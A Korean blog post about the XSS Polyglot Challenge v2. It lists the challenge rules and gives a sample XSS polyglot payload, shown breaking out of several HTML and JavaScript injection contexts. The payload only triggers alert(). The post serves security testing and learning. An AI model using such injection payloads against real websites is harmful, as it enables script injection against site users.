XSS Polyglot Challenge(v2)에 참여하며 XSS에 대한 고민을 더 해봅시다!
polyglot이란 여러 환경? 에서도 동작하는 한줄짜리 강력한 테스팅 코드를 의미합니다. 저 또한 가끔씩 테스트할 때 쓰곤하는데, 아무튼 고민해보시고 만들어보시면 분명 좋은겁니다.
XSS polyglot Challenge에 대해 들어보셨나요? XSS polyglot 코드로 서로 겨뤄보는(?) 챌린지인데 polyglot은 실무에서도 어느정도 유용하게 쓰일 수 있어 해보시는걸 추천드립니다. 겸사겸사 XSS 코드에 대해 감도 올리고, 자신을 돌아보는 계기도 되지요 :)
최근에 시작한건 아니지만, 최근에 v2로 리뉴얼되면서 다시 코드에 대해 고민해보게 되었지요.
룰은 이렇습니다.
You will be given 20 common contexts in black-box
# 0개 context에 대한 테스팅
No DOM sinks or external libraries are involved
# 외부~DOM 구간 없음
Plain HTML injection with minimum filtering
# HTML Injection 구간은 최소화된 필터링
A headless Chrome will try your payload
# 헤드리스 브라우저로 테스트함(phantomJS같은, 여기선 크롬으로)
Your payload should run alert() in 2+ contexts
# alert()로 테스트
Payloads exceeding 1024 characters will always fail
# 1024 글자 넘어가면 무조건 실패
Network is disabled
# 네트워크 연결안됨
Example?
대략 이런 느낌의 코드입니다. (글쓰면서 대충 친거라 … 아마 이거 올리면 등수에도 안들어갈 것 같네요)
alert()//'+alert()//"+alert()//></textarea> --><svg/onload=/**/alert()+'>'/*
저 구문이 ..
var a = '[input]'
<img src="[input]">
<img src='[input]'>
<!-- [input] -->
<textarea>[input]</textarea>
등등 많은 케이스에서 통과할 수 있도록 하는 코드이지요.
var a = 'alert()//'+alert()//"+alert()//></textarea> --><svg/onload=/**/alert()+'>'/*'
<img src="alert()//'+alert()//"+alert()//></textarea> --><svg/onload=/**/alert()+'>'/*">
<img src='alert()//'+alert()//"+alert()//></textarea> --><svg/onload=/**/alert()+'>'/*'>
<!-- alert()//'+alert()//"+alert()//></textarea> --><svg/onload=/**/alert()+'>'/* -->
<textarea>alert()//'+alert()//"+alert()//></textarea> --><svg/onload=/**/alert()+'>'/*</textarea>
평일때만해도 50 아래였는데, 별써 90대까지… |